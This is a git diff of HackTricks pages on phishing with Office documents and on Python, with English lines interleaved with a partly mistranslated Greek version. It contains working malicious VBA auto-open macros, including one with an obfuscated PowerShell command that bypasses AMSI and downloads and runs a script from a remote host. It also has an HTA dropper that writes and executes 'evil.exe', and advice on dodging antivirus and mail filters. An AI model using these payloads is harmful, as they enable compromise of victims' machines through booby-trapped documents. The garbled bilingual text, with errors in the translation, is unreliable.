|
||||
For example, an RTF file does not support macros, by design, but a DOCM file renamed to RTF will be handled by Microsoft Word and will be capable of macro execution.\
|
||||
The same internals and mechanisms apply to all software of the Microsoft Office Suite (Excel, PowerPoint etc.).
|
||||
|
||||
You can use the following command to check which extensions are going to be executed by some Office programs:
|
||||
Συνήθως, τα αρχεία Word που περιέχουν μακρόχρονες χρησιμοποιούν την επέκταση `.docm`. Ωστόσο, είναι δυνατό να μετονομάσετε το αρχείο αλλάζοντας την επέκταση του αρχείου και να διατηρήσετε τις δυνατότητες εκτέλεσης των μακρόχρονων.\
|
||||
Για παράδειγμα, ένα αρχείο RTF δεν υποστηρίζει μακρόχρονες, κατά σχεδιασμό, αλλά ένα αρχείο DOCM που μετονομάζεται σε RTF θα χειριστείται από το Microsoft Word και θα είναι ικανό για εκτέλεση μακρόχρονων.\
|
||||
Οι ίδιες εσωτερικές δομές και μηχανισμοί ισχύουν για όλο το λογισμικό της σουίτας Microsoft Office (Excel, PowerPoint κ.λπ.).
|
||||
|
||||
Μπορείτε να χρησιμοποιήσετε την παρακάτω εντολή για να ελέγξετε ποιες επεκτάσεις θα εκτελεστούν από ορισμένα προγράμματα Office:
|
||||
```bash
|
||||
assoc | findstr /i "word excel powerp"
|
||||
```
|
||||
Τα αρχεία DOCX που αναφέρονται σε απομακρυσμένο πρότυπο (Αρχείο - Επιλογές - Πρόσθετα - Διαχείριση: Πρότυπα - Πήγαινε) που περιλαμβάνει μακρό μπορούν επίσης να "εκτελέσουν" μακρό.
|
||||
|
||||
DOCX files referencing a remote template (File –Options –Add-ins –Manage: Templates –Go) that includes macros can “execute” macros as well.
|
||||
### Φόρτωση Εξωτερικής Εικόνας
|
||||
|
||||
### External Image Load
|
||||
|
||||
Go to: _Insert --> Quick Parts --> Field_\
|
||||
_**Categories**: Links and References, **Filed names**: includePicture, and **Filename or URL**:_ http://\<ip>/whatever
|
||||
Πηγαίνετε σε: _Εισαγωγή -> Γρήγορα Μέρη -> Πεδίο_\
|
||||
_**Κατηγορίες**: Συνδέσμοι και Αναφορές, **Ονόματα πεδίων**: includePicture, και **Όνομα αρχείου ή URL**: http://\<ip>/whatever
|
||||
|
||||
![](<../../.gitbook/assets/image (316).png>)
|
||||
|
||||
### Macros Backdoor
|
||||
### Παρασκήνιο Μακρό
|
||||
|
||||
It's possible to use macros to run arbitrary code from the document.
|
||||
Είναι δυνατόν να χρησιμοποιηθούν μακρό για να εκτελέσουν αυθαίρετο κώδικα από το έγγραφο.
|
||||
|
||||
#### Autoload functions
|
||||
#### Λειτουργίες Αυτόματης Φόρτωσης
|
||||
|
||||
The more common they are, the more probable the AV will detect them.
|
||||
Όσο πιο κοινές είναι, τόσο πιο πιθανό είναι να τις ανιχνεύσει ο Αντιιικός Λογισμικός.
|
||||
|
||||
* AutoOpen()
|
||||
* Document\_Open()
|
||||
|
||||
#### Macros Code Examples
|
||||
|
||||
#### Παραδείγματα Κώδικα Μακρό
|
||||
```vba
|
||||
Sub AutoOpen()
|
||||
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
|
||||
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
|
||||
End Sub
|
||||
```
|
||||
|
||||
```vba
|
||||
Sub AutoOpen()
|
||||
|
||||
Dim Shell As Object
|
||||
Set Shell = CreateObject("wscript.shell")
|
||||
Shell.Run "calc"
|
||||
Dim Shell As Object
|
||||
Set Shell = CreateObject("wscript.shell")
|
||||
Shell.Run "calc"
|
||||
|
||||
End Sub
|
||||
```
|
||||
|
@ -68,8 +65,8 @@ End Sub
|
|||
Dim author As String
|
||||
author = oWB.BuiltinDocumentProperties("Author")
|
||||
With objWshell1.Exec("powershell.exe -nop -Windowsstyle hidden -Command-")
|
||||
.StdIn.WriteLine author
|
||||
.StdIn.WriteBlackLines 1
|
||||
.StdIn.WriteLine author
|
||||
.StdIn.WriteBlackLines 1
|
||||
```
|
||||
|
||||
```vba
|
||||
|
@ -77,88 +74,85 @@ Dim proc As Object
|
|||
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
|
||||
proc.Create "powershell <beacon line generated>
|
||||
```
|
||||
#### Χειροκίνητη αφαίρεση μεταδεδομένων
|
||||
|
||||
#### Manually remove metadata
|
||||
Πηγαίνετε σε **Αρχείο > Πληροφορίες > Επιθεώρηση εγγράφου > Επιθεώρηση εγγράφου**, το οποίο θα εμφανίσει τον Επιθεωρητή Εγγράφου. Κάντε κλικ στο **Επιθεώρηση** και στη συνέχεια στο **Αφαίρεση όλων** δίπλα στις **Ιδιότητες εγγράφου και προσωπικές πληροφορίες**.
|
||||
|
||||
Fo to **File > Info > Inspect Document > Inspect Document**, which will bring up the Document Inspector. Click **Inspect** and then **Remove All** next to **Document Properties and Personal Information**.
|
||||
#### Επέκταση αρχείου
|
||||
|
||||
#### Doc Extension
|
||||
Όταν τελειώσετε, επιλέξτε την αναπτυσσόμενη λίστα **Αποθήκευση ως τύπος**, αλλάξτε τη μορφή από **`.docx`** σε **Word 97-2003 `.doc`**.\
|
||||
Κάντε αυτό επειδή **δεν μπορείτε να αποθηκεύσετε μακροεντολές μέσα σε ένα `.docx`** και υπάρχει μια **στίγμα** γύρω από την επέκταση των μακροεντολών **`.docm`** (π.χ. το εικονίδιο μικρογραφίας έχει ένα τεράστιο `!` και ορισμένες πύλες ιστού/ηλεκτρονικού ταχυδρομείου τις αποκλείουν εντελώς). Επομένως, αυτή η **παλαιά επέκταση `.doc` είναι η καλύτερη συμβιβαστική λύση**.
|
||||
|
||||
When finished, select **Save as type** dropdown, change the format from **`.docx`** to **Word 97-2003 `.doc`**.\
|
||||
Do this because you **can't save macro's inside a `.docx`** and there's a **stigma** **around** the macro-enabled **`.docm`** extension (e.g. the thumbnail icon has a huge `!` and some web/email gateway block them entirely). Therefore, this **legacy `.doc` extension is the best compromise**.
|
||||
|
||||
#### Malicious Macros Generators
|
||||
#### Δημιουργοί κακόβουλων μακροεντολών
|
||||
|
||||
* MacOS
|
||||
* [**macphish**](https://github.com/cldrn/macphish)
|
||||
* [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator)
|
||||
* [**macphish**](https://github.com/cldrn/macphish)
|
||||
* [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator)
|
||||
|
||||
## HTA Files
|
||||
## Αρχεία HTA
|
||||
|
||||
An HTA is a Windows program that **combines HTML and scripting languages (such as VBScript and JScript)**. It generates the user interface and executes as a "fully trusted" application, without the constraints of a browser's security model.
|
||||
|
||||
An HTA is executed using **`mshta.exe`**, which is typically **installed** along with **Internet Explorer**, making **`mshta` dependant on IE**. So if it has been uninstalled, HTAs will be unable to execute.
|
||||
Ένα αρχείο HTA είναι ένα πρόγραμμα των Windows που **συνδυάζει HTML και γλώσσες σεναρίου (όπως VBScript και JScript)**. Δημιουργεί τη διεπαφή χρήστη και εκτελείται ως μια "πλήρως αξιόπιστη" εφαρμογή, χωρίς τους περιορισμούς του μοντέλου ασφαλείας ενός προγράμματος περιήγησης.
|
||||
|
||||
Ένα αρχείο HTA εκτελείται χρησιμοποιώντας το **`mshta.exe`**, το οποίο συνήθως **εγκαθίσταται** μαζί με το **Internet Explorer**, καθιστώντας το **`mshta` εξαρτημένο από το IE**. Έτσι, αν έχει απεγκατασταθεί, τα αρχεία HTA δεν θα μπορούν να εκτελεστούν.
|
||||
```html
|
||||
<--! Basic HTA Execution -->
|
||||
<html>
|
||||
<head>
|
||||
<title>Hello World</title>
|
||||
</head>
|
||||
<body>
|
||||
<h2>Hello World</h2>
|
||||
<p>This is an HTA...</p>
|
||||
</body>
|
||||
<head>
|
||||
<title>Hello World</title>
|
||||
</head>
|
||||
<body>
|
||||
<h2>Hello World</h2>
|
||||
<p>This is an HTA...</p>
|
||||
</body>
|
||||
|
||||
<script language="VBScript">
|
||||
Function Pwn()
|
||||
Set shell = CreateObject("wscript.Shell")
|
||||
shell.run "calc"
|
||||
End Function
|
||||
<script language="VBScript">
|
||||
Function Pwn()
|
||||
Set shell = CreateObject("wscript.Shell")
|
||||
shell.run "calc"
|
||||
End Function
|
||||
|
||||
Pwn
|
||||
</script>
|
||||
Pwn
|
||||
</script>
|
||||
</html>
|
||||
```
|
||||
|
||||
```html
|
||||
<--! Cobal Strike generated HTA without shellcode -->
|
||||
<script language="VBScript">
|
||||
Function var_func()
|
||||
var_shellcode = "<shellcode>"
|
||||
Function var_func()
|
||||
var_shellcode = "<shellcode>"
|
||||
|
||||
Dim var_obj
|
||||
Set var_obj = CreateObject("Scripting.FileSystemObject")
|
||||
Dim var_stream
|
||||
Dim var_tempdir
|
||||
Dim var_tempexe
|
||||
Dim var_basedir
|
||||
Set var_tempdir = var_obj.GetSpecialFolder(2)
|
||||
var_basedir = var_tempdir & "\" & var_obj.GetTempName()
|
||||
var_obj.CreateFolder(var_basedir)
|
||||
var_tempexe = var_basedir & "\" & "evil.exe"
|
||||
Set var_stream = var_obj.CreateTextFile(var_tempexe, true , false)
|
||||
For i = 1 to Len(var_shellcode) Step 2
|
||||
var_stream.Write Chr(CLng("&H" & Mid(var_shellcode,i,2)))
|
||||
Next
|
||||
var_stream.Close
|
||||
Dim var_shell
|
||||
Set var_shell = CreateObject("Wscript.Shell")
|
||||
var_shell.run var_tempexe, 0, true
|
||||
var_obj.DeleteFile(var_tempexe)
|
||||
var_obj.DeleteFolder(var_basedir)
|
||||
End Function
|
||||
Dim var_obj
|
||||
Set var_obj = CreateObject("Scripting.FileSystemObject")
|
||||
Dim var_stream
|
||||
Dim var_tempdir
|
||||
Dim var_tempexe
|
||||
Dim var_basedir
|
||||
Set var_tempdir = var_obj.GetSpecialFolder(2)
|
||||
var_basedir = var_tempdir & "\" & var_obj.GetTempName()
|
||||
var_obj.CreateFolder(var_basedir)
|
||||
var_tempexe = var_basedir & "\" & "evil.exe"
|
||||
Set var_stream = var_obj.CreateTextFile(var_tempexe, true , false)
|
||||
For i = 1 to Len(var_shellcode) Step 2
|
||||
var_stream.Write Chr(CLng("&H" & Mid(var_shellcode,i,2)))
|
||||
Next
|
||||
var_stream.Close
|
||||
Dim var_shell
|
||||
Set var_shell = CreateObject("Wscript.Shell")
|
||||
var_shell.run var_tempexe, 0, true
|
||||
var_obj.DeleteFile(var_tempexe)
|
||||
var_obj.DeleteFolder(var_basedir)
|
||||
End Function
|
||||
|
||||
var_func
|
||||
self.close
|
||||
var_func
|
||||
self.close
|
||||
</script>
|
||||
```
|
||||
## Εξαναγκασμός Ταυτοποίησης NTLM
|
||||
|
||||
## Forcing NTLM Authentication
|
||||
Υπάρχουν αρκετοί τρόποι για να **εξαναγκάσετε την ταυτοποίηση NTLM "απομακρυσμένα"**, για παράδειγμα, μπορείτε να προσθέσετε **αόρατες εικόνες** σε emails ή HTML που ο χρήστης θα αποκτήσει πρόσβαση (ακόμα και HTTP MitM;). Ή να στείλετε στο θύμα τη **διεύθυνση αρχείων** που θα **ενεργοποιήσει** μια **ταυτοποίηση** μόνο για το **άνοιγμα του φακέλου**.
|
||||
|
||||
There are several ways to **force NTLM authentication "remotely"**, for example, you could add **invisible images** to emails or HTML that the user will access (even HTTP MitM?). Or send the victim the **address of files** that will **trigger** an **authentication** just for **opening the folder.**
|
||||
|
||||
**Check these ideas and more in the following pages:**
|
||||
**Ελέγξτε αυτές τις ιδέες και περισσότερα στις παρακάτω σελίδες:**
|
||||
|
||||
{% content-ref url="../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md" %}
|
||||
[printers-spooler-service-abuse.md](../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md)
|
||||
|
@ -170,19 +164,19 @@ There are several ways to **force NTLM authentication "remotely"**, for example,
|
|||
|
||||
### NTLM Relay
|
||||
|
||||
Don't forget that you cannot only steal the hash or the authentication but also **perform NTLM relay attacks**:
|
||||
Μην ξεχάσετε ότι μπορείτε όχι μόνο να κλέψετε το hash ή την ταυτοποίηση αλλά και να **εκτελέσετε επιθέσεις NTLM relay**:
|
||||
|
||||
* [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
|
||||
* [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
|
||||
* [**Επιθέσεις NTLM Relay**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
|
||||
* [**AD CS ESC8 (NTLM relay σε πιστοποιητικά)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στο [αποθετήριο hacktricks](https://github.com/carlospolop/hacktricks) και [αποθετήριο hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,53 +1,53 @@
|
|||
# Python Sandbox Escape & Pyscript
|
||||
# Απόδραση από το Python Sandbox & Pyscript
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
|
||||
Αποκτήστε πρόσβαση σήμερα:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
**Interesting pages to check:**
|
||||
**Ενδιαφέρουσες σελίδες για έλεγχο:**
|
||||
|
||||
* [**Pyscript hacking tricks**](pyscript.md)
|
||||
* [**Python deserializations**](../../pentesting-web/deserialization/#python)
|
||||
* [**Tricks to bypass python sandboxes**](bypass-python-sandboxes/)
|
||||
* [**Basic python web requests syntax**](web-requests.md)
|
||||
* [**Basic python syntax and libraries**](basic-python.md)
|
||||
* [**Χάκινγκ κόλπα με το Pyscript**](pyscript.md)
|
||||
* [**Αποσειριοποίηση στο Python**](../../pentesting-web/deserialization/#python)
|
||||
* [**Κόλπα για παράκαμψη των Python sandboxes**](bypass-python-sandboxes/)
|
||||
* [**Βασική σύνταξη αιτημάτων ιστού στο Python**](web-requests.md)
|
||||
* [**Βασική σύνταξη και βιβλιοθήκες της Python**](basic-python.md)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
|
||||
Αποκτήστε πρόσβαση σήμερα:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,30 +1,30 @@
|
|||
# Basic Python
|
||||
# Βασική Python
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
## Python Basics
|
||||
## Βασικά της Python
|
||||
|
||||
### Useful information
|
||||
### Χρήσιμες πληροφορίες
|
||||
|
||||
list(xrange()) == range() --> In python3 range is the xrange of python2 (it is not a list but a generator)\
|
||||
The difference between a Tuple and a List is that the position of a value in a tuple gives it meaning but the lists are just ordered values. Tuples have structures but lists have an order.
|
||||
list(xrange()) == range() --> Στην Python 3, η range είναι η xrange της Python 2 (δεν είναι μια λίστα αλλά ένας γεννήτορας)\
|
||||
Η διαφορά μεταξύ ενός Tuple και μιας Λίστας είναι ότι η θέση μιας τιμής σε ένα Tuple της δίνει νόημα, ενώ οι λίστες είναι απλά ταξινομημένες τιμές. Τα Tuple έχουν δομές, αλλά οι λίστες έχουν μια σειρά.
|
||||
|
||||
### Main operations
|
||||
### Κύριες λειτουργίες
|
||||
|
||||
To raise a number you use: 3\*\*2 (not 3^2)\
|
||||
If you do 2/3 it returns 1 because you are dividing two ints (integers). If you want decimals you should divide floats (2.0/3.0).\
|
||||
Για να αυξήσετε έναν αριθμό χρησιμοποιείτε: 3\*\*2 (όχι 3^2)\
|
||||
